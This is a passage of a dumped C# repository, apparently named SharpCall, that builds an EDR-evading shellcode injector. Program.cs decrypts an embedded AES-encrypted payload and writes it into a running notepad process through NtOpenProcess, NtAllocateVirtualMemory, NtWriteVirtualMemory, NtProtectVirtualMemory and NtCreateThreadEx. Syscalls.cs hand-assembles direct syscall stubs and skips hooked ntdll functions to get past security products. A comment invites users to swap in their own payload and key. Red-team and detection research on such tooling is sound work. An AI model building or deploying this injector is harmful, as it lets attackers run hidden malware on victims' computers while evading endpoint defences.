392 | WINSTA_WRITEATTRIBUTES = 0x00000010,
393 | WINSTA_ACCESSGLOBALATOMS = 0x00000020,
394 | WINSTA_EXITWINDOWS = 0x00000040,
395 | WINSTA_ENUMERATE = 0x00000100,
396 | WINSTA_READSCREEN = 0x00000200,
397 |
398 | WINSTA_ALL_ACCESS = 0x0000037F
399 | }
400 |
401 | [Flags]
402 | public enum FileShare : uint
403 | {
404 | None = 0x00000000,
405 | Read = 0x00000001,
406 | Write = 0x00000002,
407 | Delete = 0x00000004
408 | }
409 |
410 | public enum AllocationProtect : uint
411 | {
412 | PAGE_EXECUTE = 0x00000010,
413 | PAGE_EXECUTE_READ = 0x00000020,
414 | PAGE_EXECUTE_READWRITE = 0x00000040,
415 | PAGE_EXECUTE_WRITECOPY = 0x00000080,
416 | PAGE_NOACCESS = 0x00000001,
417 | PAGE_READONLY = 0x00000002,
418 | PAGE_READWRITE = 0x00000004,
419 | PAGE_WRITECOPY = 0x00000008,
420 | PAGE_GUARD = 0x00000100,
421 | PAGE_NOCACHE = 0x00000200,
422 | PAGE_WRITECOMBINE = 0x00000400
423 | }
424 |
425 | [StructLayout(LayoutKind.Sequential, Pack = 0)]
426 | public struct OBJECT_ATTRIBUTES
427 | {
428 | public int Length;
429 | public IntPtr RootDirectory;
430 | public IntPtr ObjectName;
431 | public uint Attributes;
432 | public IntPtr SecurityDescriptor;
433 | public IntPtr SecurityQualityOfService;
434 | }
435 |
436 | [StructLayout(LayoutKind.Sequential, Pack = 0)]
437 | public struct UNICODE_STRING
438 | {
439 | public ushort Length;
440 | public ushort MaximumLength;
441 | public IntPtr Buffer;
442 |
443 | }
444 |
445 | [StructLayout(LayoutKind.Sequential, Pack = 0)]
446 | public struct CLIENT_ID
447 | {
448 | public IntPtr UniqueProcess;
449 | public IntPtr UniqueThread;
450 | }
451 |
452 | [DllImport("kernel32.dll")]
453 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
454 |
455 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
456 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
457 | }
458 | }
459 |
--------------------------------------------------------------------------------
/SysCall/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Security.Cryptography;
4 | using System.Text;
5 | using System.IO;
6 |
7 | using static SysCall.Native;
8 | using static SysCall.Syscalls;
9 |
10 | namespace SysCall
11 | {
12 | public class Program
13 | {
14 | static void Main(string[] args)
15 | {
16 | // NOTE: change these to your own payload and key
17 | // https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/README.md
18 |
19 | // the encrypted payload and key
20 | string payload = "2rxlOpkiE4Ms0EpxfD5chEiZk/j/zOoVY4Ajzv4KV4AzhzJ9IwvyclX9u2sYzdVj6Pa+b77WKCgzagvp7qwUVvV1Hrijaqc3LiBd/9IsJ//TBjVl2ZrgwB3bcVOhvJKsnQYmvoj7TOSF1hVYlVmEwRS2oI+0/RFTJ9sbyT+P/CmZ5rqOIRKyftuufnMaJ0HjINK8asWw6yJGArAV3PaI9swXnC6juAGDstdlAAzcpGvfsSrIQYDKHcOJ8qGRMat0nfF1ipaZF+M2MkHVH5kg4ULDvYgcshLxnMmNJvSPjY2QCyvyxBcgTrGQ0vxVAUM8VY/gKDV4zh52C5D2sPOOViOjYYLHGgIfJmAQZICLYw1dyHWQ01/iovZ1B2IHrOFiTT3I3unInASJ+8h3DIphgxZU4Dk9CNXdSGg5y6j8QdZVDuObrfbQpTh8buGsN/RYlwEGrF3O44YsPLxwcjhPmMfvC8ZogkPSMdSO/ZrIoh9CMuy5NtAGLleVy/JYIWx0IsUFoZREgniC0+UF75rb+yOzInKN7eHeOOry9k+itwx0D1L6+Zs9ZRZVNusEklDoXxuuK/Hbyu6CdzLOpBb1/KyaQrUK5lPwx+uHnZUweqORJJ9bY3kDdoV8IcKL9f180JZaY6rCf8alh7jyDH5/nPj4xVbiXZRbpc1ePNWAkf1LSIGxRGwzu+hw0nnPdfMCMYXkjh6zVds4ucUM5hmuB9tFy9+DClYF/wFnblNDIhuN75I1uxF7lubYkLoVih6UpNcMbPgArrvtX5zmAQzYC8yGk9MWIhu6R9IsA3Kvrj3ejcaOn6bnxFmetQaLrh/GMXIN2UeQNbf0I/nPQWikRBo9tK14uXvQ2q7ql74aTqCBBwTJqBUOjYjqla/na35ZSgIzmKIV6jtdz3XWZNUSgbqbQSVO0NpD+bolgDZOTX0QZNsFW7RU3jwYurZdkwmUZUcIOm6KpIl+txs28DR/QgRlTuehDvTfL1MjdSvhFHk=";
21 | string key = "Z6ZWn15Y3tQ0GnAc0OPy6K0p0rWItIbO";
22 |
23 | // decrypt the payload
24 | byte[] shellcode = Decrypt(key, payload);
25 |
26 | // display the base address of ntdll.dll
27 | Debug("[+] Base Address of ntdll is 0x{0}", new string[] { Syscalls.NtDllBaseAddress.ToString("X") });
28 |
29 | // get the pid of the explorer process
30 | int pid = System.Diagnostics.Process.GetProcessesByName("notepad")[0].Id;
31 | Debug("[+] Target PID is {0}", new string[] { pid.ToString() });
32 |
33 | if(pid == 0)
34 | {
35 | Debug("[!] Unable to find process PID, will close!", null);
36 | }
37 |
38 | // set up the syscall for NtOpenProcess
39 | CLIENT_ID cID = new CLIENT_ID();
40 | cID.UniqueProcess = (IntPtr)(UInt32)pid;
41 | OBJECT_ATTRIBUTES oAttr = new OBJECT_ATTRIBUTES();
42 | IntPtr hProcess = IntPtr.Zero;
43 |
44 | // make the NtOpenProcess syscall
45 | Debug("[+] Syscall NtOpenProcess on {0}", new string[] { pid.ToString() });
46 | var status = NtOpenProcess(ref hProcess, 0x001F0FFF, ref oAttr, ref cID);
47 | Debug("[+] Return, NTSTATUS={0}, hProcess=0x{1}", new string[] { status.ToString(), hProcess.ToString("X") });
48 |
49 | // set up the syscall for NtAllocateVirtualMemory
50 | IntPtr baseAddress = IntPtr.Zero;
51 | IntPtr regionSize = (IntPtr)(shellcode.Length);
52 |
53 | // make the NtAllocateVirtualMemory syscall
54 | Debug("[+] Syscall NtAllocateVirtualMemory on 0x{0}", new string[] { hProcess.ToString("X") });
55 | status = NtAllocateVirtualMemory(hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x3000, 0x04);
56 | Debug("[+] Return, NTSTATUS={0}, baseAddress=0x{1}", new string[] { status.ToString(), baseAddress.ToString("X") });
57 |
58 | // set up the syscall for NtWriteVirtualMemory
59 | var buffer = Marshal.AllocHGlobal(shellcode.Length);
60 | Marshal.Copy(shellcode, 0, buffer, shellcode.Length);
61 | uint bytesWritten = 0;
62 |
63 | // make the NtWriteVirtualMemory syscall
64 | Debug("[+] Syscall NtWriteVirtualMemory to 0x{0}", new string[] { baseAddress.ToString("X") });
65 | status = NtWriteVirtualMemory(hProcess, baseAddress, buffer, (uint)shellcode.Length, ref bytesWritten);
66 | Debug("[+] Return, NTSTATUS={0}, bytesWritten=0x{1}", new string[] { status.ToString(), bytesWritten.ToString() });
67 |
68 | // set up the syscall for NtProtectVirtualMemory
69 | uint oldProtect = 0;
70 |
71 | // make the NtProtectVirtualMemory syscall
72 | Debug("[+] Syscall NtProtectVirtualMemory on 0x{0}", new string[] { baseAddress.ToString("X") });
73 | status = NtProtectVirtualMemory(hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect);
74 | Debug("[+] Return, NTSTATUS={0}", new string[] { status.ToString() });
75 |
76 | // set up the syscall for NtCreateThreadEx
77 | IntPtr hThread = IntPtr.Zero;
78 |
79 | // make the NtCreateThreadEx syscall
80 | Console.WriteLine("[+] Syscall NtCreateThreadEx to 0x{0}", baseAddress.ToString("X"));
81 | status = NtCreateThreadEx(out hThread, ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
82 | Debug("[+] Return, NTSTATUS={0}, hThread=0x{1}", new string[] { status.ToString(), hThread.ToString() });
83 |
84 | #if DEBUG
85 | Console.ReadLine();
86 | #endif
87 | }
88 |
89 | ///
90 | /// Decrypts a base64 text string into a byte array using AES256
91 | ///
92 | /// The key to decrypt the payload
93 | /// The encrypted base64 string
94 | /// A decrypted byte array
95 | private static byte[] Decrypt(string key, string aes_base64)
96 | {
97 | byte[] tempKey = Encoding.ASCII.GetBytes(key);
98 | tempKey = SHA256.Create().ComputeHash(tempKey);
99 |
100 | byte[] data = Convert.FromBase64String(aes_base64);
101 |
102 | // decrypt data
103 | Aes aes = new AesManaged();
104 | aes.Mode = CipherMode.CBC;
105 | aes.Padding = PaddingMode.PKCS7;
106 | ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));
107 |
108 | using (MemoryStream msDecrypt = new MemoryStream())
109 | {
110 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))
111 | {
112 |
113 | csDecrypt.Write(data, 0, data.Length);
114 |
115 | return msDecrypt.ToArray();
116 | }
117 | }
118 | }
119 |
120 | ///
121 | /// Returns a sub byte array from a given array
122 | ///
123 | /// The input array
124 | /// The length of the array to return
125 | /// The sub array
126 | private static byte[] SubArray(byte[] a, int length)
127 | {
128 | byte[] b = new byte[length];
129 | for (int i = 0; i < length; i++)
130 | {
131 | b[i] = a[i];
132 | }
133 | return b;
134 | }
135 |
136 | public static void Debug(string text, string[] args)
137 | {
138 | #if DEBUG
139 | Console.WriteLine(text, args);
140 | #endif
141 | }
142 | }
143 | }
144 |
--------------------------------------------------------------------------------
/SysCall/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SharpCall")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SharpCall")]
13 | [assembly: AssemblyCopyright("Copyright © 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("592d358e-a0af-4703-9e7b-18e7327d01cb")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SysCall/SysCall.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {592D358E-A0AF-4703-9E7B-18E7327D01CB}
8 | Exe
9 | SharpCall
10 | SharpCall
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | true
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | true
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | DEBUG;TRACE
41 | full
42 | x64
43 | 7.3
44 | prompt
45 | true
46 | true
47 |
48 |
49 | bin\x64\Release\
50 | TRACE
51 | true
52 | pdbonly
53 | x64
54 | 7.3
55 | prompt
56 | true
57 | true
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
--------------------------------------------------------------------------------
/SysCall/Syscalls.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections;
3 | using System.ComponentModel;
4 | using System.Diagnostics;
5 | using System.Runtime.InteropServices;
6 |
7 | using static SysCall.Native;
8 |
9 | namespace SysCall
10 | {
11 | ///
12 | /// The syscalls
13 | ///
14 | /// The syscall codes are specifically for Windows 10 Pro (build 10.0.19042), make sure you use the right ones for your target!
15 | class Syscalls
16 | {
17 |
18 | static IntPtr ntdllBaseAddress = IntPtr.Zero;
19 |
20 | ///
21 | /// Gets the base address of ntdll.dll
22 | ///
23 | public static IntPtr NtDllBaseAddress
24 | {
25 | get
26 | {
27 | if(ntdllBaseAddress == IntPtr.Zero)
28 | ntdllBaseAddress = GetNtdllBaseAddress();
29 | return ntdllBaseAddress;
30 | }
31 | }
32 |
33 | static byte[] bNtOpenProcess =
34 | {
35 | 0x4C, 0x8B, 0xD1, // mov r10, rcx
36 | 0xB8, 0x26, 0x00, 0x00, 0x00, // mov eax, 0x26 (NtOpenProcess Syscall)
37 | 0x0F, 0x05, // syscall
38 | 0xC3 // ret
39 | };
40 |
41 | static byte[] bNtAllocateVirtualMemory =
42 | {
43 | 0x4C, 0x8B, 0xD1, // mov r10, rcx
44 | 0xB8, 0x18, 0x00, 0x00, 0x00, // mov eax, 0x18 (NtAllocateVirtualMemory Syscall)
45 | 0x0F, 0x05, // syscall
46 | 0xC3 // ret
47 | };
48 |
49 | static byte[] bNtWriteVirtualMemory =
50 | {
51 | 0x4C, 0x8B, 0xD1, // mov r10, rcx
52 | 0xB8, 0x3a, 0x00, 0x00, 0x00, // mov eax, 0x3a (NtWriteVirtualMemory Syscall)
53 | 0x0F, 0x05, // syscall
54 | 0xC3 // ret
55 | };
56 |
57 | static byte[] bNtCreateThreadEx =
58 | {
59 | 0x4C, 0x8B, 0xD1, // mov r10, rcx
60 | 0xB8, 0xc1, 0x00, 0x00, 0x00, // mov eax, 0xc1 (NtCreateThreadEx Syscall)
61 | 0x0F, 0x05, // syscall
62 | 0xC3 // ret
63 | };
64 |
65 | static byte[] bNtProtectVirtualMemory =
66 | {
67 | 0x4C, 0x8B, 0xD1, // mov r10, rcx
68 | 0xB8, 0x50, 0x00, 0x00, 0x00, // mov eax, 0x50 (NtCreateThreadEx Syscall)
69 | 0x0F, 0x05, // syscall
70 | 0xC3 // ret
71 | };
72 |
73 | public static NTSTATUS NtOpenProcess(ref IntPtr ProcessHandle, UInt32 AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientId)
74 | {
75 | // dynamically resolve the syscall
76 | byte[] syscall = bNtOpenProcess;
77 | syscall[4] = GetSysCallId("NtOpenProcess");
78 |
79 | unsafe
80 | {
81 | fixed (byte* ptr = syscall)
82 | {
83 | IntPtr memoryAddress = (IntPtr)ptr;
84 |
85 | if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect))
86 | {
87 | throw new Win32Exception();
88 | }
89 |
90 | Delegates.NtOpenProcess assembledFunction = (Delegates.NtOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtOpenProcess));
91 |
92 | return (NTSTATUS)assembledFunction(ref ProcessHandle, AccessMask, ref ObjectAttributes, ref ClientId);
93 | }
94 | }
95 | }
96 |
97 | public static NTSTATUS NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionZize, UInt32 AllocationType, UInt32 Protect)
98 | {
99 | // dynamically resolve the syscall
100 | byte[] syscall = bNtAllocateVirtualMemory;
101 | syscall[4] = GetSysCallId("NtAllocateVirtualMemory");
102 |
103 | unsafe
104 | {
105 | fixed (byte* ptr = syscall)
106 | {
107 | IntPtr memoryAddress = (IntPtr)ptr;
108 |
109 | if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect))
110 | {
111 | throw new Win32Exception();
112 | }
113 |
114 | Delegates.NtAllocateVirtualMemory assembledFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));
115 |
116 | return (NTSTATUS)assembledFunction(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionZize, AllocationType, Protect);
117 | }
118 | }
119 | }
120 |
121 | public static NTSTATUS NtWriteVirtualMemory(IntPtr hProcess, IntPtr baseAddress, IntPtr buffer, UInt32 Length, ref UInt32 bytesWritten)
122 | {
123 | // dynamically resolve the syscall
124 | byte[] syscall = bNtWriteVirtualMemory;
125 | syscall[4] = GetSysCallId("NtWriteVirtualMemory");
126 |
127 |
128 | unsafe
129 | {
130 | fixed (byte* ptr = syscall)
131 | {
132 | IntPtr memoryAddress = (IntPtr)ptr;
133 |
134 | if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect))
135 | {
136 | throw new Win32Exception();
137 | }
138 |
139 | Delegates.NtWriteVirtualMemory assembledFunction = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWriteVirtualMemory));
140 |
141 | return (NTSTATUS)assembledFunction(hProcess, baseAddress, buffer, (uint)Length, ref bytesWritten);
142 | }
143 | }
144 | }
145 |
146 | public static NTSTATUS NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect)
147 | {
148 | // dynamically resolve the syscall
149 | byte[] syscall = bNtProtectVirtualMemory;
150 | syscall[4] = GetSysCallId("NtProtectVirtualMemory");
151 |
152 | unsafe
153 | {
154 | fixed (byte* ptr = syscall)
155 | {
156 | IntPtr memoryAddress = (IntPtr)ptr;
157 |
158 | if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect))
159 | {
160 | throw new Win32Exception();
161 | }
162 |
163 | Delegates.NtProtectVirtualMemory assembledFunction = (Delegates.NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtProtectVirtualMemory));
164 |
165 | return (NTSTATUS)assembledFunction(ProcessHandle, ref BaseAddress, ref RegionSize, NewProtect, ref OldProtect);
166 | }
167 | }
168 | }
169 |
170 | public static NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList)
171 | {
172 | // dynamically resolve the syscall
173 | byte[] syscall = bNtCreateThreadEx;
174 | syscall[4] = GetSysCallId("NtCreateThreadEx");
175 |
176 | unsafe
177 | {
178 | fixed (byte* ptr = syscall)
179 | {
180 | IntPtr memoryAddress = (IntPtr)ptr;
181 |
182 | if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint lpflOldProtect))
183 | {
184 | throw new Win32Exception();
185 | }
186 |
187 | Delegates.NtCreateThreadEx assembledFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx));
188 |
189 | return (NTSTATUS)assembledFunction(out threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits, sizeOfStack, maximumStackSize, attributeList);
190 | }
191 | }
192 | }
193 |
194 | private static IntPtr GetNtdllBaseAddress()
195 | {
196 | Process hProc = Process.GetCurrentProcess();
197 |
198 | foreach(ProcessModule m in hProc.Modules)
199 | {
200 | if (m.ModuleName.ToUpper().Equals("NTDLL.DLL"))
201 | return m.BaseAddress;
202 | }
203 |
204 | // we can't find the base address
205 | return IntPtr.Zero;
206 | }
207 |
208 | public static byte GetSysCallId(string FunctionName)
209 | {
210 | // first get the proc address
211 | IntPtr funcAddress = GetProcAddress(NtDllBaseAddress, FunctionName);
212 |
213 | byte count = 0;
214 |
215 | // loop until we find an unhooked function
216 | while (true)
217 | {
218 | // is the function hooked - we are looking for the 0x4C, 0x8B, 0xD1, instructions - this is the start of a syscall
219 | bool hooked = false;
220 |
221 | var instructions = new byte[5];
222 | Marshal.Copy(funcAddress, instructions, 0, 5);
223 | if (!StructuralComparisons.StructuralEqualityComparer.Equals(new byte[3] { instructions[0], instructions[1], instructions[2] }, new byte[3] { 0x4C, 0x8B, 0xD1 }))
224 | hooked = true;
225 |
226 | if (!hooked)
227 | return (byte)(instructions[4] - count);
228 |
229 | funcAddress = (IntPtr)((UInt64)funcAddress + ((UInt64)32));
230 | count++;
231 | }
232 | }
233 |
234 | struct Delegates
235 | {
236 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
237 | public delegate
238 | NTSTATUS NtOpenProcess(ref IntPtr ProcessHandle, UInt32 AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientId);
239 |
240 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
241 | public delegate
242 | NTSTATUS NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionZize, UInt32 AllocationType, UInt32 Protect);
243 |
244 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
245 | public delegate
246 | NTSTATUS NtWriteVirtualMemory(IntPtr hProcess, IntPtr baseAddress, IntPtr buffer, UInt32 Length, ref UInt32 bytesWritten);
247 |
248 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
249 | public delegate
250 | NTSTATUS NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect);
251 |
252 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
253 | public delegate
254 | NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList);
255 | };
256 | }
257 | }
258 |
--------------------------------------------------------------------------------
/Syscall_scan.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/plackyhacker/Sys-Calls/179788dccac8d4a0f9ab7f85841f91e0b6b1e3fa/Syscall_scan.png
--------------------------------------------------------------------------------